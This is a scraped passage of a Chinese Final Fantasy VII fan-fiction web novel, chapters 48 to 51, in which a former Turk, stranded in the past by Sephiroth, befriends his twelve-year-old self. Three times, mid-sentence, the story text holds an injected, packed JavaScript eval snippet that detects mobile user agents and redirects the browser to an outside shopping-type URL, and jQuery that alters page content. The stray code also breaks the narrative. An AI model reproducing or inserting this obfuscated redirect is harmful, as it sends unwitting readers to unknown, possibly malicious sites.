覆盖黑色皮革的手牢牢锁住她的腰,斩断了最后一条退路。视线被遮蔽,美丽而优雅的单翼缓缓舒展开来,如同羽毛织就的牢笼般将她包裹其中,密不透风,暗无天日。 风中的呼唤越来越大,越来越清晰。她想要回应那些声音,然而这是个错误的选择—— 银发的灾厄低下头,伸手扣住她的下颌,迫使她微微抬起脸看向自己。当她意识到萨菲罗斯要做什么后已经太迟了,双唇被迫张开,冰冷而又柔软的舌侵占口腔,肆意地卷弄与吮吸。与其说是接吻,更不如说是在吞食,反复不停,愈发越深,她无法说话,也无法呼吸,几乎溺死在这个极具报复性和惩罚性的吻里。 思念体大抵是没有痛觉的,即便冰刃贯穿腹部,他也只是顿了顿,之后吻得更深。银蛇绞紧了束缚,以此惩罚挣扎的猎物。 她觉得自己快要死了,身体在抗拒,灵魂的一部分却在回应。她的爱人已经死了,但眼前的灾厄拥有他的容貌和身躯,恍惚间似乎残留着过去的影子。 “你看,”塞壬海妖在她耳边吟唱,蛊惑她跳入深海,“你并非无动于衷。” 她想要否认,但是她无法说话。爱是世界上最柔软的花蕾,也是世界上最锋利的毒刺,曾经越是芬芳馥郁,如今越是深入骨髓。萨菲罗斯向来很擅长给予他人绝望。 熟悉的声音随风而至,炽热的火焰骤然迸发,却被一道无形的屏障阻挡在外,连银白的发丝都无法触动分毫。掠食者终于停下了贪婪的侵略,萨菲罗斯抬起鸦羽般的睫,漫不经心地扫了一眼她身后的方向,唇角勾起愉悦且恶劣的弧度。 疯掉之后,他似乎发展出了不少诡异的癖好。 好不容易夺回呼吸的能力。她忍无可忍,咬牙切齿道:“……你发什么疯!” 冰冷的唇顺着她的脸颊游离,一路停至耳畔,被他触碰过的地方如同蛇鳞滑过。萨菲罗斯不仅丝毫不介意,还低低地笑了,好像她的愤怒是什么值得高兴和享受的事情。 “你很在意?”他抬起手,熟练又亲昵地将她脸侧的碎发别到耳后,指尖有意无意地擦过那枚赤红的耳坠,“这些多余的情感是你的负担。当一切结束后,所有人都会归于星球,为他哀悼只会令你更加痛苦。” 希森后退一步,原本紧紧贴在背后的漆黑羽翼重新展开,她得以看清周围的景象。幽灵般的黑色生物遍布天空,汇聚成浓厚的乌云,闪烁着奇异光芒的缺口横贯大地,整个世界仿佛失去了秩序。 ——萨菲罗斯打开了时空裂缝。 世界摇摇欲坠,星球发出哀鸣。 她的朋友们被分割在深渊的另一端,卷入黑色菲拉凝成的漩涡当中。爱丽丝展开白色的法阵,璀璨又柔和的光芒刹那间汇聚成结界,将众人笼罩其中。一道赤红的身影在其他人的掩护下斩断翻涌的阴霾,朝着她的方向一跃而起。 “——” 急切的呼唤被狂风吞没,她竭尽全力,最终依旧没能抓住对方伸出来的手。只能看着他们离自己越来越远,如同触不可及的太阳。 身体忽然悬空,脚下的最后一寸土地也被裂缝吞没。耳畔传来萨菲罗斯低沉而愉悦的笑,单翼的灾厄紧紧锁住她的腰,带她坠入无垠的星海。 她想起故乡流传的一个神话——春日女神被水仙花吸引,在采花的过程中不知不觉地远离了朋友。此时大地开裂,四匹黑马拉着冥王的金车出现,将一无所知的女神带入冥界当中。 他们正在一同坠落,可能向着万劫不复的塔尔塔罗斯,也可能向着永恒极乐的爱丽舍乐园。 银白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她回到了神罗,但却不是她所熟知的那座大厦。 这个型号的自动贩卖机早在十几年前停产,她只在查阅资料的时候见过,而那个时间点自己还没穿越到这个星球。 阴影中似乎有什么动了一下,希森看见了一双碧绿的竖瞳。熟悉而又陌生,如同璀璨耀眼的宝石,将流转星河凝固其中。 站在自动贩卖机前面的人影转过身,似乎没料到会有人出现。她的大脑在看清对方面容的瞬间一片空白,猛然愣在原地。 “抱歉,前辈。”银发的少年垂下眼眸,像只犯了错又被捉个正着的猫,“我不是有意违反规定的,请不要告诉宝条博士。” 49.第 49 章 萨菲罗斯再一次将她送回了过去,并且是更早的时间点。 对上那双熟悉又陌生的碧绿竖瞳时,有那么一瞬间她想过从根源上解决毁灭星球的灾厄。然而有一个很现实的理由阻止了希森—— 她打不过。 作为前塔克斯,希森曾经了解过少年萨菲罗斯的实力,他们两个正面对战大概是一九开,他一拳,她九泉。更何况对方背后是整个神罗,而她能够依仗的人脉和资源在这个时间都尚未存在。 她不知道萨菲罗斯送自己回来的目的是什么,但绝对不会是帮她拯救世界,当务之急是弄清楚眼前的状况。 在原来的时间线潜入神罗时,她换上了以前留下的制服。银发少年显然将她当成了执勤的塔克斯,低垂眼眸安静地站在原地。 他不是毁灭世界的灾厄,至少现在还不是。 希森强迫自己冷静下来。哪怕是年少时期的萨菲罗斯也非常敏锐,她不能露出任何破绽。 “萨菲罗斯?”她听见自己冷静的声音,“你怎么会在这里?” 她想起少年刚才站在自动售卖机前方,抬起手似乎想要买东西,又结合他之前的话,心底逐渐浮现出一个推测。 “你是饿了吗?” 据说神罗为了维持英雄完美的形象,对萨菲罗斯的饮食进行严格的管控。正值成长时期的少年因为饥饿在半夜偷跑出来也很正常,她和雷诺以前就经常这么做。 “不,我只是……好奇。”碧绿的竖瞳微不可察地顿了顿,少年像只收起利爪尽量让自己显得无害的猫,“我不能吃除实验室提供以外的食品。” “你回去吧,”短暂的沉默过后,希森没有继续追问,“我不会上报今晚的事情。” 她现在用的是假身份,直接和神罗的人接触很容易被识破,本来就没打算掺和这件事。 银发竖瞳的少年此时还无法做到完美掩饰自己的情绪,明显愣了一下。但她不想和萨菲罗斯再有过多的牵扯,不等对方回答便转身离开了走廊。 凌晨的神罗大厦寂静无声,她能清晰听见自己的心跳和微弱的脚步声。希森熟练地避开监控,踏着月色来到顶层的天台,俯瞰沉睡中的钢铁森林。 “这里没有监控,也不会有其他人。”她没有回过头,“为什么跟着我?” 年幼的捕食者蛰伏于黑暗当中,悄无声息地追随着自己的目标。如果萨菲罗斯想对她动手,现在便是最好的机会,但银发的少年只是在距离她一步的位置停下。 “我不想回去培养舱里,抱歉。”少年缓慢地眨了眨眼,鸦羽般的睫毛投下一片浅浅的阴影,“我可以待在这里吗?” ……懂了,原来是看出她根本不会追究自己违规,所以开始得寸进尺。 希森来到顶楼本来就是为了摆脱对方,正准备找个借口离开,但转念一想萨菲罗斯送她回来的关键很可能就在他自己身上,现在正是打探情报的机会。于是拒绝的话语被咽了回去,她将手里用来补充体力的巧克力掰成两半,把其中一块递给身旁的少年。 “巧克力,要吃吗?” 萨菲罗斯微微抬手,又像是突然意识到了什么一样收了回去。回想起实验室的规定,她又补充:“反正你已经违反宵禁的规定了,也不在乎多违反一条。” 也许是这句话说服了少年,也许只是出于礼貌,他顺从地接过了巧克力。那双猫一般的碧绿竖瞳一眨不眨地看着她,过了好几秒后萨菲罗斯才学着她的样子从格子间的连接处咬下一块,含在嘴里细细咀嚼,神色认真得像是在执行某种任务。 “好吃吗?”希森忍不住问。未来的英雄萨菲罗斯几乎不吃甜食,不知道是因为幼年留下的习惯还是出于个人喜好。 “谢谢,”少年浅浅地弯起唇,眉梢眼角都染上柔和的笑意,“味道很好。” 怪不得神罗斥巨资也要把萨菲罗斯打造成英雄,当他笑起来的时候,确实能让人产生马上报名入伍的冲动。 “适量食用巧克力能让人心情变好,”她回过头,“因为——” “——这种食物含有□□和可可碱,可以起到消除压抑感的功效。”少年接过话,停顿片刻后又补充,“实验室有类似的药剂,我见过他们对受伤的特种兵使用。” 初晨的冷风吹散了工业污染的气味,地平线上泛起丝丝缕缕的亮光,少年和她一起远眺天际,安静得仿佛是在出神。她还是第一次见到这幅模样的萨菲罗斯,他还没成为那个无所不能、完美可靠的英雄,只是一个半夜从实验室出逃的孩子,会不经意流露出自己的真实情绪,也会好奇别人随手可得自己却从来不被允许的零食。 他是神罗打造出的神明,这座冰冷牢笼里唯一非人的存在,此刻却比任何活物都更像真正的人类。 那么鲜活,却又那么痛苦。 萨菲罗斯擅长回答问题,却向来不擅长主动提起话题。希森不得不提醒:“记得在天亮之前回去,神罗英雄半夜失踪可不是一件小事。” “……我不是英雄。”他微微侧过头,唇角那点本就轻浅的弧度已然彻底消散,“那些事迹都只是神罗用来宣传造势的剧本,明天去拉迪奥岛的救援任务才是我第一次参加实战。” 萨菲罗斯在十二岁时第一次出征,同时也是他第一次参加实战,她清晰记得档案上的用词是“启用”与“投放”,就和同期研发的新式武器一样。 现在是1992年,少年英雄被推上真实战场的前一天。 所以他是因为这件事才无法睡着,也不愿回去。 “现在你有机会成为真正的英雄了。”她知道那场战争的结局,也知道对方即将走上的道路。敌军在少年压倒性的力量下全军覆没,萨菲罗斯从此成为万众敬仰的英雄,被神罗榨干最后一滴价值后于尼布尔海姆陨落。 “我不想成为英雄。”微风拂过萨菲罗斯的短发,末端卷起一缕不听话的翘起。他的声音很轻,轻到几乎随风飘散,“我只是……想过普通的生活。” 谁能想到毁灭星球的灾厄最初只怀有这么一个微小而普通的愿望,却拼尽全力也无法实现,直到连他自己也舍弃了这颗初心。 这个时期的萨菲罗斯礼貌又克制,对普通的人际交往可以说是一窍不通,仅仅是一点并不单纯的好意和半块巧克力就能让他就对一个刚认识不到两小时的人放下戒心,把自己心底的秘密全盘托出。她很难想象对方是怎么长成日后那个随时随地带着“我根本不在乎他们怎么想的,因为我自信的要命”笑容的魔王,一时间甚至有些不适应。 “那就平安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13589830|131107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回来吧。”旭日的光辉点亮由浅至深的天幕,为两人镀上一层耀眼而温暖的金红。希森弯起唇角,转身看向银发的少年,“不是以英雄的身份,是以萨菲罗斯的身份。” 碧绿的竖瞳在晨光中折射出宝石般绮丽的色彩,狭长的深渊将她的倒影吞没其中,好似黑暗中闪烁的一抹星辰。萨菲罗斯犹豫了片刻,在她转身离开的前一秒开口。 “我可以知道你的名字吗?” “……Autumn。”她说,“祝你好运,萨菲罗斯。” …… 被前男友兼灭世魔王扔到异世界怎么办? 没逝的,这种难度对打工人来说不值一提。 塔克斯里有一部分成员专门负责执行卧底任务,需要频繁更换身份与容貌,而这些假身份并不一定全部都会登记在组织当中。希森凭借记忆找到一名恰好在这个时间点牺牲的成员,黑进神罗的系统替换掉了对方的身份,又利用魔石修改了自己的容貌。 1992年的总部和她记忆里没有太大差别,负责人依旧是维尔德,只是身边少了那几道熟悉的身影。当她根据任务安排来到训练场时,瞬间感觉自己的心灵被治愈了。 少年时期的曾,很可爱。 少年时期的雷诺,也很可爱。 少年时期的鲁德……哦,原来他从小就没有头发。 看见曾经的上司和同事变成对自己崇敬有加的学生是一种非常奇妙的感受,希森在一声声“前辈”中逐渐迷失了自我,非常遗憾西斯内在这个时间点还没进入塔克斯。她终于可以把以前想做又不敢做的事情全部变成现实,比如揪曾的马尾,还有摸一把鲁德光滑锃亮的头。 一旁的雷诺目瞪口呆地看完这一切,试图效仿她的行为,结果被另外两人按在作战室的地板上摩擦。 希森揉了揉红发少年的头,安慰道:“别灰心,你以后一定会成功的。” 她没说出口的是:然后再被对方打一顿,附带五千字的检讨报告。 一个月之后,希森已经完美融入了这条时间线的神罗,成为一名平平无奇又勤勤恳恳的塔克斯,除了节假日不加班以外可以称得上模范社员。 她本打算不改变任何命运,找到时空裂缝原路返回。可她查遍了神罗的系统,却始终没有找到任何相关的线索,萨菲罗斯关闭了时空裂缝,将她困在了这个时间点。 带着未来的记忆回到过去,听起来是个改变命运的绝佳机会。然而第一次穿越的经历已经向她证明贸然改变世界线会引发毁灭性的代价,试图改变未来只会以另一种方式促成未来,每一个微小的变化都可能引发蝴蝶效应。 况且萨菲罗斯是不会掉这么大一个馅饼给她的。 杰诺瓦之子向来喜欢给予猎物一定的希望和反抗能力,让游戏变的更加有趣。这是因为他本身就是规则的制作者,从玩家入场的那一刻起,就已经掉进了被他掌控的陷阱里。 棋盘上的棋子无论如何也无法战胜执棋者,所以她需要另一位棋手的帮助——同样拥有穿越时空能力的古代种赛特拉。 依法露娜和爱丽丝此时还被宝条囚禁在科学部门的实验室,以塔克斯的身份贸然接近她们很容易引起总部的怀疑。希森只能先留在这里,制造机会带她们逃离神罗。 50.第 50 章 第一次,希森通过回收出逃实验品的机会进入科学部门,不出三分钟就被宝条赶走了。即便换了一张脸,这个疯子还是跟她八字不合。 第二次,希森吸取了之前的经验,偷偷从后门接近实验区域,在金属门锁上之前看见了那双美丽而又熟悉的翠绿眼眸。 第三次,负责希森这支队伍的上司把她召回了总部,委婉表示塔克斯尊重所有人的取向,但依法露娜属于神罗的财产,不在情感自由的范畴内。 “……您误会了,我对她没有这个意思。”希森尝试拯救自己的清白。 “不是她?那就更不可以,”办公桌后的塔克斯皱起眉,“爱丽丝·盖恩斯巴勒还不到十岁。” 拯救失败,希森不仅痛失自己的形象和人品,还被外派去朱农执行任务。看着大屏幕上关于五台军队被少年英雄击败的新闻,她忽然想到自己或许并不需要亲自接触爱丽丝,还可以通过另一个从小就在实验室里长大的孩子。 神罗向来有雇佣童工的习俗,刚通过第一轮考核的曾被安排和她一起参加实战任务。黑发少年在此时已经展现出远超同龄人的沉稳和机敏,可在把枪口对准真正的敌人时还是出现了片刻的颤抖。 第一次亲手杀人是每一名塔克斯必须渡过的最大难关。在未来的1994年,曾亲手将她从崩溃的血泊中拉起来;而在过去的1992年,她握住曾的手,和他一起扣下扳机。 “他发起的袭击害死了七十二个平民,其中包括五个比你还小的孩子,如果你不动手,半小时后还会有更多无辜的人死去。终止这一条生命,是为了拯救更多的生命。”希森把曾在未来开解自己的话重新还给对方,又往他手里塞了一块巧克力,“先去休息一下吧,剩下的我来处理。” 这次的任务地点在朱农港的宴会大厅,常被官方用于举办大型活动。她刚转过身,便看见一道熟悉的身影正安静地站在走廊外,背着长剑的少年身穿神罗量身定制的特种兵制服,皎月般的短发即便在黑暗中也无比引人注目,微微翘起的尾端还浸着尚未干透的雨水。 “……萨菲罗斯?”她愣了一下。 “我回来了。”少年眨了眨那双猫一般的竖瞳,“格伦说塔克斯在这边执行任务,所以……” 希森这才后知后觉地反应过来。神罗在拉迪奥岛的战争中大获全胜,按照原本的时间线,凯旋归来的少年特种兵会在朱农参加颁奖仪式,自此彻底成为所有人心中光芒万丈的英雄,而这场加冕仪式的场地正是宴会大厅。 空气中弥漫着雨水湿凉的气息与似有似无的铁锈味,他大概是刚从战场上回来,连装备都没来得及换下。 “你受伤了?” “没有。”萨菲罗斯显然并不擅长撒谎,下意识地移开了目光。碧绿的竖瞳在略过身后的房间时忽然停下,黑发的塔克斯正十分端正地坐在角落吃巧克力。 希森看了看忽然陷入沉默的少年,又看了看已经把巧克力吃得一干二净的曾,顿时悟了。 ——萨菲罗斯这是也想吃零食对吧?毕竟还是小孩子,而且刚下战场肯定会饿。 萨菲罗斯是自己的敌人没错,但这是年仅十二岁的少年萨菲罗斯,难道她还能拒绝吗? 于是她从储物魔石里把每种能吃的东西都取出来一点,很快就在少年怀里堆成一座小山。萨菲罗斯狭长的瞳孔微微收缩,向来冷静的神色明显凝固一瞬,如同被投喂太多猫粮而一时反应不过来的幼年缅因。 “吃吧,庆祝你平安回来。”希森递给他一个鼓励的微笑,“我不会告诉其他人的。” 然后她震惊地看着少年以非人的速度解决掉相当于一个成年人食量两倍的食物,全程优雅又干净。哪怕融合杰诺瓦细胞的身体也未必能够承受这种程度的暴食,在银色缅因转向新的目标之前,希森终于忍不住出手按住猫的爪子。 “萨菲罗斯,”她委婉地问,“你上次吃饭是什么时候?如果军队里出现某些不公平的现象,我可以帮你反馈。” “……有干粮,我不会饿。”少年顿了顿,而后反应过来,“总部不允许带外食回去,会被销毁。” 因为不能带回去,又不舍得丢掉,所以才想要全部吃完。 看看神罗都把孩子逼成什么样了,以后患上精神病真的不是没理由的。 “你可以收进储物魔石,他们一般不会检查这么细。”她无奈地松开手,“只是零食而已,你想吃我随时可以再给你。” 少年抬头看着她,认真地问:“以后我还能再来找你吗?” 这个年纪的萨菲罗斯总会在一些奇怪的地方格外敏锐和执着。得到肯定的答复后,那双宝石般的竖瞳中泛起轻而浅的笑意,宛如绽放于璀璨星河的朵朵涟漪。 眼见月上梢头,希森把幼年缅因还给军队,又把幼年主任带回总部,感觉自己像是在玩什么大型养成游戏,还是那种带点惊悚元素的,一不留神某个任务对象就会出现质的飞跃。 塔克斯对内部的管控非常严格,这个时间点没有路法斯和曾的掩护,她和神罗英雄的接触自然瞒不过总部。维尔德在一周之后亲自召见她,开门见山道:“萨菲罗斯似乎对你特别关注。” “抱歉,那只是一个意外,他偶然碰到我们在执行任务。”希森直接就是一套蒙混专用丝滑小连招,“是我逾矩了,我以后会尽量避免私底下——” “从今天开始你负责监视萨菲罗斯,随他一同执行任务。” “……什么?”她无意识地折断了手里的文件夹,以为自己出现了幻听。 别的任务对象失败了只是要命,这个失败了可是要整个星球。 “这是总部的意思,萨菲罗斯对你的接受和信任程度最高,你是最合适的人选。”维尔德的语气里带着不容置疑的平静,“你需要监测并记录他的所有行为,无论是否有异常。” 她忽然明白了为什么萨菲罗斯一直不擅长处理社交关系——并不是他不愿意实践或者学习,而是每当他开始信任一个人,对方就会成为神罗用来要挟他的工具。直到同为实验品的杰内西斯和安吉尔出现,在总部的默许下和他成为真正意义的朋友。 “我明白了。”她顺从地接过档案。 …… 新的任务在三天之后,神罗派遣萨菲罗斯去被大陆的冰原歼灭五台的军事基地。塔克斯不需要参与实战,只负责情报收集和向导工作。 萨菲罗斯的存在意味着任务效率的大幅度提升,仅用半天他们就借助风雪的掩护解决掉五台的前哨,原地休整计划下一步行动。 所有人都知道所谓的总务部调查科就 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“很大胆,但非常聪明。”她揉了揉幼年缅因毛茸茸的头,银白的发丝柔顺而丝滑,像指尖流过的缕缕月色。 “只要在山顶制造一些推力,就能引发雪崩。我会处理掉山上的哨站,用炸药制造雪崩,其他人只需要将五台的军队引到山下这个位置。”萨菲罗斯莞尔,“运气好的话,我们甚至不需要正面交战。” “你一个人去山顶?”希森侧过头,“那里不仅有哨兵,还有魔兽,我和你一起——” “不行,太危险了,我不能把你卷进战场。”他断然拒绝。 当银发少年微微蹙眉的那一瞬间,她仿佛看到了未来那位沉稳而又清冷的英雄,神罗将军每次看到那些天马行空或过于冒进的提案时也会露出一模一样的神色。 “可是你不知道上山的路线,也不知道哨兵埋伏的据点和魔兽的出没点。”她冷静地指出,“哨台附近有信号屏蔽装置,需要有人作为向导。” 萨菲罗斯沉默了。 希森循序渐进:“况且我只负责提供情报,并不需要参加实战,以你的实力处理掉敌人完全没问题。” 他毕竟只是个十二岁的少年,还是不善言辞的性格,一时间根本找不到反驳的理由,只能用那双猫一般的漂亮竖瞳一眨不眨地看着对方。 片刻过后,萨菲罗斯妥协了:“保护好你是我的职责,我不会让你受伤。” 她刚想说自己并不需要保护,但转念一想眼前的幼年缅因长大变异后会炸了她的星球还把她满世界线乱扔,于是怒从心底起恶从胆边生,决定趁现在尽情地薅一把猫毛。 “那就拜托萨菲罗斯了,我只是个弱小、可怜又无助的塔克斯,”她满脸柔弱地捂住胸口,“而且我怕累又挑食,还有一颗玻璃般易碎的心灵,你一定要照顾好我。” 萨菲罗斯看了她一眼,非常礼貌地没有说话。 看来幼年缅因也不是每次都那么好骗。 “我可以背你上去,”少年忽然认真地开口,“附近有雪兔和银鱼,烤熟后会比军用干粮的味道好些。” ……所以他刚才的沉默原来是在思考。 她收回前面的话。 非常好骗萨菲罗斯,令她良心隐隐作痛。 51.第 51 章 这支队伍的核心本就是萨菲罗斯,对于他做出的决策,其他人自然不会有任何异议。 上山的过程可以概括为满级玩家勇闯新手村,萨菲罗斯是策划培养的满数值选手,她是负责交代背景和任务引导的NPC。一开始提着长刀的幼年缅因指哪打哪,没多久后他便总结出了敌人埋伏和魔兽出没的规律,不用她指,他自己打。 在压倒性的力量面前,驻守的哨站五十多名特种战士毫无反抗之力,连呼喊都未来得及出口便在顷刻间被斩杀殆尽。少年宛如随风雪而至的银白死神,于悄无声息中收割未尽的生命。 远传传来令人牙酸的金属断裂声,被一刀两断的瞭望塔轰然倒塌。纷纷扬扬的雪很快掩盖了遍地的残骸和猩红,萨菲罗斯踏着层叠的银白回到掩体中,手里还提着一串半透明的鱼。 希森点燃一簇篝火,好奇地看着他处理那些奇特却美丽的鱼:“它明明是透明的,为什么要叫银鱼?” “这种鱼拥有拟态能力,只会在雪天出现,所以平时看起来是银色的。”少年垂下眼帘,鸦羽般的睫毛在眼底扫下一片柔和的阴影,“宝条认为它们徒有其表,真正的拟态能够完全融入另一个种群,那才是最高级的生命形态。” 她拨弄开底下的柴火:“如果可以完全融入一个种群,那么也会同时具备这个种群的情感和弱点。” “我还是第一次听到这种说法。”银发的少年侧了侧头,“神罗一直教导我优先感情的特种兵是二流,没有存在的意义,完美的战士应心如磐石,不可动摇。” “我认为正好相反,情感是力量诞生的源泉,给予人创造奇迹和改变命运的勇气。”她顿了顿,“而且——只有真正强大的人,才有温柔对待他人的能力。” “就像你一样,萨菲罗斯。”她轻声说。 碧绿的竖瞳定定地看着她,璀璨的星河里流转过刹那的惊异。 空气中传来蛋白质焦香的气味,萨菲罗斯仔细地将鱼肉里的骨刺一根根挑走,这才把已经烤成金黄色的鱼递给希森。 “它才不是徒有其表,明明就很好吃。”她咬下一口鲜嫩的鱼肉,忍不住感慨。 银发的少年只吃了小半条鱼,剩下的把刺挑出来后全部留给了她。萨菲罗斯伸手抵着唇,像卷起尾巴观察人类的猫,专注地看着她,“宝条的实验室里还留有一些,回去之后我带给你。” ……多久了,她已经不记得自己和萨菲罗斯多久没有过这么正常的、温暖的、普通人之间的、不会令人在血压上涨的同时精神值下降的对话了。终于不是把她当成自己的所有物,还执着于抓她去做什么热爱毁灭宇宙的外星邪神了。 果然不管什么生物都是小时候最可爱。 通讯器的提示音响起,信号已经全部恢复。接下来的任务就交给了山下的分队,诱敌深入,引发雪崩,萨菲罗斯以惊人的计算力将每个时间节点安排得恰到好处,他们以最快的速度攻陷了五台的军事基地。神罗英雄的任务记录里从无败绩,这只是最不起眼的其中一个。 返回时风雪尚未停歇,希森看着白茫茫的天际,随口感慨:“听说冰原里有一种只在雪天出现的蝴蝶,可惜我们待了这么久都没看见。” 银发少年在前方清理雪崩带来的路障,大概是没听到她的话,抬手示意绕去另一侧下山。大雪中的能见度不高,萨菲罗斯忽然在一处冰崖前停了下来,皎白的发丝几乎于雪花融为一体。 “萨菲罗斯,怎么了?” 待她走近后,少年张开手,无数闪烁着绚烂光泽的雪花自他掌心飘向天空。希森眨了眨眼,过了好一会才意识到这并不是雪,而是一只又一只色泽梦幻的蝴蝶,薄如蝉翼的翅膀微微颤动,在雪幕中折射出绮丽的色彩,宛如一道翩飞的银虹。 ——像奇幻故事一样,美丽而又不可思议的生物。 “你刚才提到的蝴蝶。”萨菲罗斯莞尔,含笑的竖瞳望进她的双眼,“当地人称其为‘伊里丝’,据说向它们许下的愿望能传递到神明耳中。” Iris,传说中的彩虹女神。古代的人们认为彩虹是连接天和地的媒介,故而伊里斯也被认为是神与人之间的传递者。 原来他当时听到了,所以才特意绕路过来找。 “好漂亮。”希森忍不住赞叹,“那我许愿能够一夜暴富。” “……或许,”少年礼貌地提醒,“你应该向财神许愿。” 拢在掌心的最后一只蝴蝶被小心翼翼地送入她手中,拥有生命的彩虹短暂地停留在温热的肌肤上,又再次展开翅膀。希森任由它飞入逐渐停歇的风雪中,最终如消融的冰雪般没入湛蓝的天空。 “萨菲罗斯,”她不知道自己到底是在对眼前的少年说,还是在对未来死去的幽灵说,“谢谢你带我来看伊里丝之蝶。” 萨菲罗斯侧过头,声音很轻:“我以为你会留下它。” “唔,我确实这么想过。”伊里丝之蝶的寿命只有几个小时,而且极为罕见,绝大部分人一生也无法遇见,因此它们的标本有价无市,“但我觉得它的美丽在于它是自由而且鲜活的生命。神罗曾经制作出一批更加完美和长寿的复制品在米德加展览,没多久后人们就厌倦了,这些人造物一旦离开温室就没有自主生存的能力,最终只能全部销毁。” 塔克斯负责保证这项生物技术不会外泄,哪怕已经被神罗废弃。于是她看着科学部门的人把那些曾被誉为奇迹的生命倒在布满血污的地上,没有半分犹豫和可惜,承载彩虹的翅膀与烂泥和尸体混杂在一起,再也辨不出原来的色彩。 “它们的美丽不再稀有,便失去了价值。”少年精致的面容上看不出任何情绪,“所以神罗一直强调我是特别的。” “人并不能用价值来衡量,神罗也没有权力去定义你。”天际开始放晴,希森不动声色地转移了这个沉重的话题,“我们还有多远?” “那里就是营地,”他顿了顿,“体力不够的话,我背你下去。” 特种兵的视力比普通人要好很多,希森只能看见一个黑点,但距离也不算太远。看着平滑的雪坡,她产生了一个大胆的想法。 “萨菲罗斯,你知道滑雪吗?” “一种把滑雪板装在靴底上在雪地里进行速度、跳跃和滑降的竞赛运动。” 教科书式的标准回答,一听就知道没试过。 神罗统一发放的储物魔石里存放着不少军用应急设备,其中就有接近滑雪的装备。她兴致勃勃地卷起袖子:“走吧,我带你去玩滑雪。” 萨菲罗斯看了看雪坡的高度,又看了看她,“……弱小、可怜又无助的塔克斯?” 希森:“……”她就不应该说这些会背刺自己的话。 她选择嘴硬到底:“如果你输了,以后就要喊我姐姐。” 少年似笑非笑:“如果你输了?” 她想了想:“那我喊你姐姐。” 萨菲罗斯的表情好像在看一头正在追着自己尾巴转圈的巴哈姆特。 两边的景色飞速流逝,呼啸的狂风寒冷却并不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13687249|131107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刺骨,急剧飙升的肾上腺素令人短暂忘记所有烦恼与痛苦,进入另一个纯粹又无忧的世界。 事实证明哪怕是年少时期的1st也拥有惊人的学习能力和应变能力,两人的速度从最初的不相上下到萨菲罗斯逐渐反超。在即将抵达山脚乱石区的前一刻,银发少年回过头,如雪如月的发丝随风扬起,于浅金色的阳光中熠熠生辉。名为英雄的雕塑朝她伸出手,变得鲜活而又生动,染上几分这个年纪应有的意气风发。 她毫不犹豫地抓住了那只手。 覆盖着黑色皮革的五指收紧力度,萨菲罗斯将她往自己怀里一带,拦腰捞起整个人后往一侧跃去。后颈处扫过温热的呼吸,希森还未反应过来,便已经被用自己的身体护着一同落入足有半人深的雪层当中。 松软且厚的银白抵消了惯性带来的冲击力,如同一团冰凉的云将两人包裹其中。她尝试从云团里爬起来,却完全使不上力气,连续滑下来好几次后她终于放弃了,干脆直接躺在少年身旁。 萨菲罗斯侧过头,语气里带着几分尚未恢复的起伏:“滑雪……这就是普通人的生活吗?” 如此近的距离,她可以清晰看见那双碧绿竖瞳中如星云般绮丽深邃的纹路。 “差不多,只是我们可能更加……大胆一些。” 她也不知道自己为什么要笑,像是在发泄什么一样无法停下。银发少年专注地看着她,没有说话,只是浅浅地弯起唇角。 ——真好啊。 直至天色渐暗,幼年缅因把她从雪里挖出来,两个人就着夕阳返回营地。以他们的体质和能力自然不会受伤,所以受伤的只能是刚好停在山下的车——被舍弃的滑雪板失去控制,在惯性的作用下把玻璃砸出一层蛛网般的裂缝。 格伦的目光在碎裂的车窗和刚返回的队友之间徘徊,表情明显是在等待他们的解释。 希森递给萨菲罗斯一个眼神,少年马上会意地开口:“抱歉,是我不小心撞的。” ……她的意思是装作不知道蒙混过关,不是让他一个人背锅啊!而且这个理由怎么听都很离谱吧! 她面不改色地补充:“我们下山的途中遇到魔兽袭击,战斗时撞上了车子。” “啊,原来是这样,你们没受伤就好。”格伦露出了然的神色,“这孩子向来不擅长表达。” 萨菲罗斯:“……” 回到神罗时已经是午夜,银发的少年没有随特种兵小队一起离开,而是等在基地的出口旁。她已经猜到了对方想要说什么,也知道对方一定会问出这个问题。 “或许有些突兀,但我一直想问问……你有没有见过或者听说过这个人?” 稍显陈旧的照片被保护得很好,但边缘仍能看得出频繁摩擦留下的痕迹,褐发女人安静地微笑着,被摄像机永远定格在此刻。 “她的名字叫杰诺瓦,是我的母亲。”萨菲罗斯顿了顿,“宝条博士只给了我这张照片,什么也没有告诉我。” 终于来了——塔克斯记录里的名场面,早年英雄萨菲罗斯寻找妈妈的珍贵影像。 “我没有见过她。”希森平静地回答。少年露出失望的神色,正要收回手,她再次开口,“但我可以查出来。” 银发的少年愣了一下,碧绿的竖瞳瞬间被希冀点亮,“你需要什么作为报酬?我很有用,无论什么任务都能完成。” “我只需要你帮我一个忙。”她取下那枚金色的耳钉,“替我把这个转交给爱丽丝·盖恩斯巴勒或是她的母亲依法露娜。” 52.第 52 章 